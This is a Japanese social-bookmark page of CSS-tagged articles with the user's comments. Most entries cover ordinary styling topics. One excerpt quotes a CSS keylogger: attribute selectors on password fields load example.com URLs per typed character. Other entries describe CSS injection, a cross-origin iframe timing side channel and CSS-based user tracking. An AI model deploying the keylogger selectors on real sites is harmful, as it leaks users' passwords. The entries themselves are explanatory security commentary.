タグ

cssに関するrryuのブックマーク (64)

  • CSSを非同期ロードする最も簡単な方法 - Qiita

    CSS読み込みの<link rel="stylesheet">は同期なので、レンダリングブロックします。 どういうことかというと、CSSファイルの読み込み・パースが終わるまで画面描写が止まってしまいます。 これに対策する方法としてpreloadというものが策定されましたが、対応状況が微妙です。 2019年7月時点でもブラウザシェアが8割しかなく、Firefoxは当面対応するつもりがないようです。 とはいえ残り2割のためにloadCSSを突っ込んだりとか始めると末転倒感に溢れます。 全ブラウザ対応のためには、なんにしろ結局JavaScriptをこりこり書くしかない状況でした。 が、なんかすっごい簡単な対処法があったので紹介してみます。 以下はScott Jehlによる記事、The Simplest Way to Load CSS Asynchronouslyの日語訳です。 ちなみにSco

    CSSを非同期ロードする最も簡単な方法 - Qiita
    rryu
    rryu 2019/08/03
    media="print"はscreenな環境ではロードされないということを利用したハックなのだが、無条件でロードするズボラなブラウザはもうないからできるのか。
  • 【第3弾】少しのコードで実装可能な15のCSS小技集

    2022年4月27日 CSS CSS小技集シリーズの第3弾!「【第2弾】少しのコードで実装可能な20のCSS小技集」から3年が経ち、さらに便利でサクッと使えるコードが続々登場!特にこれまではJavaScriptで実装していたものがCSSだけで実現できるようになったりと、進化が凄まじいです。初心者さんからベテランさんまで要チェック! ↑私が10年以上利用している会計ソフト! 目次 スムーズスクロール スクロールスナップ スクロールすると要素を固定 画像をトリミング CSSで計算式を書く テキストを円形に回り込ませる Webフォントを使った時の表示遅延を回避する テキストに波線を引く テキストの上に記号を表示 表のセルの幅を統一する 入れ子になったリストもカウントする フォームのプレースホルダーの文字色を変更 しましまのライン メディアクエリーを使わずにタイル型レイアウトをレスポンシブに対応

    【第3弾】少しのコードで実装可能な15のCSS小技集
    rryu
    rryu 2019/05/17
    この辺のプロパティ普通に使えるようになってきたのかと思ったら、IE、Edge非対応の多さよ…
  • HTMLとCSSのファイルを解析し、未使用のCSSをお掃除してくれる便利なツール -DropCSS

    CSSファイルを軽量化するには、最適化・軽量化などの便利ツールがありますが、未使用のCSSを掃除することも重要です。HTMLCSSのファイルを解析し、未使用のCSSCSS4までサポート)を掃除してくれるツールを紹介します。 DropCSS -GitHub DropCSSの特徴 DropCSSの使い方 DropCSSのパフォーマンス DropCSSの特徴 DropCSSは未使用のCSSを掃除してくれる、わずか60行のスクリプトです。 HTMLCSSを入力として受け取り、使用されたCSSのみを出力として返します。 対象となるセレクタはcss-selectのおかげで、実質的に考えられるすべてのセレクタの削除が達成されます。 参考: サポートされているセレクタ CSSTreeを使用すると、特別な処理を行わなくても、メディアクエリを他のすべてのブロックと同じように透過的に処理および削除できます

    HTMLとCSSのファイルを解析し、未使用のCSSをお掃除してくれる便利なツール -DropCSS
    rryu
    rryu 2019/03/28
    セレクタがマッチするか検証すれば洗い出せるのか。
  • HTMLでコピペできそうでできない要素を作る - mizchi's blog

    歌詞サイト内で湘南乃風の睡蓮花の歌詞がだんだん大きくなっていた「作詞XSSとか楽しすぎるものをみたけど…」 - Togetter うたまっぷといえばコピペ禁止、コピペ禁止といえば最近こういう嫌がらせを考えていたので、やってみました。 UOHYO--TNPC-XC-AEITYSOTNT ↑をマウスで選択してコピペしてみてください。うまく範囲選択できないし、できたとしても無意味な文字列になります 仕組み テキストをランダムに並び替える ランダムに並び替えた文字を, 元の位置に来るように flex の order 属性を指定 フレックスアイテムの並べ替え - CSS: カスケーディングスタイルシート | MDN コード React でさっくり書いた function Text() { const text = "YOU-CANNOT-COPY-THIS-TEXT"; const chars =

    HTMLでコピペできそうでできない要素を作る - mizchi's blog
    rryu
    rryu 2019/03/10
    ある意味CSSを復号キーとした換字式暗号と言えるかもしれない。
  • 1クリックでHTML要素の構造を可視化し、セマンティック要素が正しく実装されているか検証できる -Construct.css

    Webページに実装されているHTML要素の構造を可視化し、header, nav, main, articleなどセマンティック要素が正しく実装されているか検証できるスタイルシートを紹介します。 デバッグ機能も備えており、不正なマークアップや問題のあるマークアップを表示することもできます。 Construct.css Construct.css -GitHub Construct.cssはセマンティックHTMLの使い方をより身近にするために、スタイルをフックとしてクラス名を使用するのではなく、直接タグをスタイルするCSSのライブラリです。目に見えないセマンティックのタグであることを視覚的に確認することができます。 ブラウザで簡単に利用できるブックマークレットも用意されています。 ブックマークレット Construct.cssのブックマークレット ブックマークレットを使用すると、以下のCSS

    1クリックでHTML要素の構造を可視化し、セマンティック要素が正しく実装されているか検証できる -Construct.css
    rryu
    rryu 2018/09/20
    ダメな入れ子の要素や空の属性値などのセレクタを死にほど用意してCSSでエラーを表示しているのか…
  • CSS Injection ++ - 既存手法の概観と対策 - Speaker Deck

    「第19回ゼロから始めるセキュリティ入門 勉強会」での, CSS Injection の脅威と対策に関する short talk 用に作成した資料です :-) 勉強会ページ: https://weeyble-security.connpass.com/event/98127/ I explain some techniques of CSS Injection by @masatokinugawa, @SecurityMB, and other websec researchers in Japanese. I highly recommend to check the following awesome work by @SecurityMB and @0x6D6172696F. - https://sekurak.pl/wykradanie-danych-w-swietnym-styl

    CSS Injection ++ - 既存手法の概観と対策 - Speaker Deck
    rryu
    rryu 2018/08/28
    セレクタが要素に引っかかると表示に必要な画像にアクセスされるというのの応用か。まさかOpenTypeのなんでもリガチャできる機能が文字列マッチに使えるとは…
  • CSSの機能を使用してクロスオリジンのiframeから表示内容を読み取るサイドチャネル攻撃 | スラド IT

    CSSの「mix-blend-mode」プロパティを使い、クロスオリジンのiframeに表示されている内容を読み取ることが可能なサイドチャネル攻撃について、発見者の一人が解説している(Evonideの記事、 Ars Technicaの記事、 SlashGearの記事)。 Webページがクロスオリジンのiframe内のDOM要素にアクセスすることはデフォルトで禁じられているが、iframeに別の要素をオーバーレイし、mix-blend-modeプロパティを使用すると色のブレンドが可能となる。「multiply」のように単純なブレンドモードでは処理時間に違いはみられないが、カラーチャネルを分離せずに処理する「saturation」のようなブレンドモードでは下のレイヤーの色によって処理時間が変動するのだという。 これを利用してピクセル単位でレンダリングを実行させ、処理時間を測定すれば、ifram

    rryu
    rryu 2018/06/03
    iframeの内容も透過してレンダリングされるからiframe内の色によってレンダリング時間が異なれば内容が予測できるって、よく方法を思いついたなあ。
  • いまどきのコンポーネント設計をめぐる座談会 | 第1回 2つのコンポーネントの乖離

    いまどきのコンポーネント設計をめぐる座談会 第1回 2つのコンポーネントの乖離 CSS設計において、コンポーネント設計に関することは、エンジニアを悩ませることのひとつです。このシリーズでは、現在の案件の中でエンジニアやデザイナーがコンポーネントをどのように考えているかを整理し、よりよい設計方法を考えていきます。 はじめに 「コンポーネント設計って、どうすれば最適解にたどり着く?」という話は、CodeGridでこれまで繰り返し取り上げてきたテーマです。ダイレクトにそのものは取り上げなくても、CSS設計に関わる記事は、その背景にサイトを構成する要素を、ある基準に沿った「まとまり」で考えることが背景にあります。 また、近年、Vue.js、ReactAngularなど主にWebアプリケーション開発のためのフレームワークにも、何らかの「まとまり」は常に意識されています。 この座談会は、一意に「コン

    いまどきのコンポーネント設計をめぐる座談会 | 第1回 2つのコンポーネントの乖離
    rryu
    rryu 2018/06/03
    HTMLとCSSの古典的なコンポーネントとJSを含むUI部品としてのコンポーネントの2種類があるの分かる。
  • 【それでもCSSは破綻する】 CSSの設計手法と書き方を考える - Qiita

    Register as a new user and use Qiita more conveniently You get articles that match your needsYou can efficiently read back useful informationWhat you can do with signing up

    【それでもCSSは破綻する】 CSSの設計手法と書き方を考える - Qiita
    rryu
    rryu 2018/04/15
    CSSが破綻しやすいのはセレクタ間の関連性が見えないというところが大きいと思うのだが、その辺をなんとかできるものはないのだろうか。
  • [CSS]「display: contents;」がすごい便利!ラッパーを使った実装が大きく変わるこれからのテクニック

    例えばカードで、見出しが1行・3行、文の量が多かったり少なかったりする場合、それぞれの高さを揃えるのは非常に難しく、かなりトリッキーな実装が必要でした。もしくは、JavaScriptを使用しなくてはできなかった実装です。 こういったレイアウトをセマンティックなHTMLで実装できるようになるdisplay: contents;の基礎知識と使い方を紹介します。 How display: contents; Works 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事は、元サイト様にライセンスを得て翻訳しています。 【更新】 2021/9/4: 現在の環境に合わせて、内容をアップデートしました。 まずはおさらい、CSSのボックス モデル 「display: contents;」を使用すると、どうなるか 「display: contents;」について詳しく解説 「display:

    [CSS]「display: contents;」がすごい便利!ラッパーを使った実装が大きく変わるこれからのテクニック
    rryu
    rryu 2018/04/04
    gridやflexは見た目のためにマークアップが拘束されてしまうのがアレだったが、これを使えば任意の要素があっても大丈夫なのか。
  • CSSだけでキーロガーを作る(※追記あり) - R42日記

    github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とすることで、キータイプ毎に特定のHTTPリクエストを発生させて、それをサーバ側でキャプチャするわけです。極めて簡単。 これはもう既に悪用されているでしょうなあ… 追記 input[type="password"][value$="a"] { background-image: url("http://example.com/a?id=1234abcd"); } input[

    CSSだけでキーロガーを作る(※追記あり) - R42日記
    rryu
    rryu 2018/02/28
    普通は入力したものが即座にvalue属性に反映されたりしないから大丈夫なのか。
  • PHPでCSSキャッシュバスターを実装する - コーヒーアンドキーボード

    WordPressで負荷軽減のためにキャッシュを利用することは珍しいことではないんですが、だいたいCSSのキャッシュが効きっぱなしで変更が上手くできたのか、イマイチ判断できないので、CSSキャッシュバスターを導入する。 ここをパクって実装したんだけど、毎回'file not found'が出てしまいハマる。 function echo_filedate($filename) { if (file_exists($filename)) { echo date('YmdHis', filemtime($filename)); } else { echo 'file not found'; } } 原因はfilenameの指定が間違っていたから。 dirname付きで指定してあげれば解決。 <link rel="stylesheet" href="<?php echo $td ;?>/css/m

    PHPでCSSキャッシュバスターを実装する - コーヒーアンドキーボード
    rryu
    rryu 2018/02/20
    CSSのURLのお尻に付けるアレ、キャッシュバスターって名前なんだ。で、アレを付ける機能の名前がcache bustingという。
  • 新しくなったBootstrap 4の基本テンプレート、ナビゲーション、コンポーネントのまとめ

    2018年1月18日、Bootstrap 4の安定版がようやくリリースされました。 Bootstrap 4ではFlexboxが採用され、それに伴いFloatは取り除かれ、CSSのソースはLessからSassに変更され、CSSの主要な単位はpxからremに変わり、デフォルトのフォントサイズは大きくなり、サポートブラウザからIE8,9は外れました。 ※pxはメディアクエリとグリッドのみ。 新しくなった、そして改訂された、Bootstrap 4の基テンプレート、ナビゲーション、コンポーネントを紹介します。 Bootstrap Bootstrap 4の基テンプレート Bootstrap 4のナビゲーションバーのテンプレート Bootstrap 4のコンポーネントのテンプレート Bootstrap 4の実験的なテンプレート Bootstrap 4の基テンプレート まずは、Bootstrap 4

    新しくなったBootstrap 4の基本テンプレート、ナビゲーション、コンポーネントのまとめ
    rryu
    rryu 2018/01/30
    Flexboxベースになったんだ。
  • CSSのこのアイデアはすごすぎる!Webページのトラッキング・解析ができるスタイルシート -Crooked Style Sheets

    結果ページ どのリンクをいつクリックしたのか、いつホバーしたのか、指定エリアでどのくらいマウスを動かしたのか、フォームに特定の文言を入力したのか、チェックボックスをクリックしたのか、ブラウザは何か、解像度はいくつか、ディスプレイの向きはどっちなのか、などの情報が表示されました。 ※出力する際には、PHPが使用されています。 Crooked Style Sheetsの仕組み Crooked Style Sheetsは、外部CSS一つを加えるだけで、Webページのユーザーに関するさまざまな情報を取得できます。 基的な仕組み CSSではurl()関数を使用して、外部リソースを追加できます。url()関数の値は呼び出された時のみロードされるため、これをリンクがクリックされた時に利用します。 リンクを記述するHTMLは、要素を特定できるようにidを与えます。

    CSSのこのアイデアはすごすぎる!Webページのトラッキング・解析ができるスタイルシート -Crooked Style Sheets
    rryu
    rryu 2018/01/21
    結局PHP使ってるしデモのPHPはセッションに発生時刻を記録しているだけなので実用するのは辛すぎる感じが。
  • CSSで「余白」を制してデザイナーに好かれよう - Qiita

    余白を制する者はデザインを制する らしい。 いろいろとデザインの記事を読んでみても、やはり余白は大事と書かれています。 「余白 デザイン」でググってみても、記事がわんさか出てくるので、やはりデザインにおいて余白は大事みたいですね。 Webデザイナーとフロントエンドが歩み寄るためのPhotoshop豆知識 こちらはLIGの記事です。 これはデザイナー側が歩み寄ろうねという内容の話ですが、フロントエンド側も歩み寄ってもいいはずです。 最近はデザイナーがSketchでデザインし、フロントエンドがZeplinを見ながら実装するというのが主流になりつつあると思いますが、 それでも、デザインを学んできていないのにいきなり余白を気にしろと言われてもなかなか難しいですよね。 印刷物でしたら、デザイナーが作ったものがそのまま印刷されて配布されたり掲示されたりするので良いのですが、Webやアプリだとなかなかそ

    CSSで「余白」を制してデザイナーに好かれよう - Qiita
    rryu
    rryu 2018/01/17
    マージンは上だけの方が最初の要素はマージン無しにするみたいにマージンの衝突を制御しやすいのか。
  • もし、HTMLのテキスト周りでデザイナーからこんなお願いをされたら... - Qiita

    HTMLのテキストはPhotoshopのように融通が効かないから、デザイナーからの細かいお願いはだいたい断っている...なんてことありませんか? モダンブラウザは色んなプロパティが対応してきているので、できることも増えています。 今回は、知っているといざというとき便利なテキスト周りのCSSを集めてみました。 「日語、文字詰めできないかな?ほら、このカタカナとかキモい。。」 「Webで文字詰めだと?無理なんだよあきらめな!」なんていう時代はもうとうに過ぎ去っています。OpenTypeのフォントであれば、日語でもちゃんと文字詰めできるんです。 .class { -moz-font-feature-settings: "palt"; -webkit-font-feature-settings: "palt"; font-feature-settings: "palt"; } ↓こんなかんじで

    もし、HTMLのテキスト周りでデザイナーからこんなお願いをされたら... - Qiita
    rryu
    rryu 2017/11/21
    あまり普及していないのは環境によって見え方が違うというのが許容されないからな感じがする。
  • 実践 めんどうくさくない BEM - ダーシマ・ヱンヂニヤリング

    この記事は BEM Advent Calendar 2013 の12日めの記事です。 BEM は優れた方法論だと思うが、大変めんどうくさいことを強いてくることがある。この記事ではそんなめんどうくさい BEM を、少しでもめんどうくさくない BEM に変えられるかどうかを思索するものである。なお、めんどうくさくなくする過程で「それは既に BEM ではな」くなっている面もあると思うが、そこは承知の上なので念頭に置かれたし。 CSS セレクターにタグを書くのは当にダメなのか 例えば以下のコードがある。 <section class="item-list"> <h1>アイテム一覧</h1> <ul> <li> ... </li> <li> ... </li> <li> ... </li> </ul> </section> 上記のコードはシンプルなので、各要素にスタイルを当てるとしたらこのような

    実践 めんどうくさくない BEM - ダーシマ・ヱンヂニヤリング
  • 5000兆円欲しい!.css

    About HTML Preprocessors HTML preprocessors can make writing HTML more powerful or convenient. For instance, Markdown is designed to be easier to write and read for text documents and you could write a loop in Pug. Learn more · Versions Adding Classes In CodePen, whatever you write in the HTML editor is what goes within the <body> tags in a basic HTML5 template. So you don't have access to higher-

    5000兆円欲しい!.css
    rryu
    rryu 2017/07/20
    盛り盛りの部分はtext-shadowだけで出来ててtext-shadowすごい。後は金属光沢のグラデと斜めの照りのグラデを重ねてるっぽい。
  • ユーザーにスクロールを予測させるCSSの書き方について | mkasumi.com

    受託案件でレスポンシブ対応をするようになって4年半ほど。未だに悩むのがテーブルのレスポンシブ対応。 テーブル要素をレスポンシブ対応する方法はいろいろとあると思うのですが、私がよく使うのはテーブルをスクロールさせる方法。ただ、このテーブルにはデザインの面で抱えている問題があります。それは、スクロールできることがユーザーには伝わらないこと。ぱっと見、途中でコンテンツが切れているように見えてしまう。もっとひどい場合にはthやtdの区切り線と同じタイミングで見切れてしまっていてその先にもっとコンテンツが存在することが予測できない可能性があります。 今回は続きのコンテンツの存在をグラデーションで表現し、CSSのみでスクロールを予測させる方法について記述しています。 実装方法 box-shadowやbackgroundプロパティでグラデーションを適用すればいいと思ってしまいがちですが、ただ単にこのプロ

    ユーザーにスクロールを予測させるCSSの書き方について | mkasumi.com
    rryu
    rryu 2017/06/15
    端まで行ったら消えるようにできるなら影を付けるより小さな矢印を出すほうが良い気がする。
  • Webブラウザにおける文字のアンチエイリアスの現状の最適解|dwango creators' blog(ドワンゴクリエイターズブログ)

    Winでは基的にフォントレンダリングをCSSで制御することは出来ません。また、スマートフォンのブラウザもほとんど制御できず、基的にグレースケールで表示されることが多いようでした。 MacではSafariのみがグレースケールですね、これが原因で「Safariで文字が細く見えてしまう」現象が起こっています。 デバイスのdpiによる見え方 このまま各ブラウザでアンチエイリアスを揃える設定しても良いのですが、1x, 2xの解像度による見え方を見ていきましょう。(今回はThunderbolt Display = 109ppi, MBP Retina Display = 220ppiで検証・比較。実際に表示した画面をスマホのカメラで加工が無いようにして撮りました。) 109ppi(Thunderbolt Display) 220ppi(MBP Retina Display) 以下のことがわかります

    Webブラウザにおける文字のアンチエイリアスの現状の最適解|dwango creators' blog(ドワンゴクリエイターズブログ)
    rryu
    rryu 2017/05/17
    どちらかというとChromeのレンダリングが太すぎるような気がする。